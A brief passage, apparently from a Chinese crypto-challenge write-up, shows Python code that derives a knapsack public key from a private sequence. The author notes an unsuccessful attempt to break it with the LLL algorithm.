1 2 3 4 5 6 for i in range (Baglenth): di=(w*Bag[i])%m D.append(di) bindi=bin (di)[2 :] bindi=pad(bindi,h) binD.append(bindi)
查了查资料想用LLL算法直接梭哈一把,可惜没能成功。(数学功底太差了,看不懂结果,我觉得答案应该在输出的结果中,但是我不知道是哪一个。)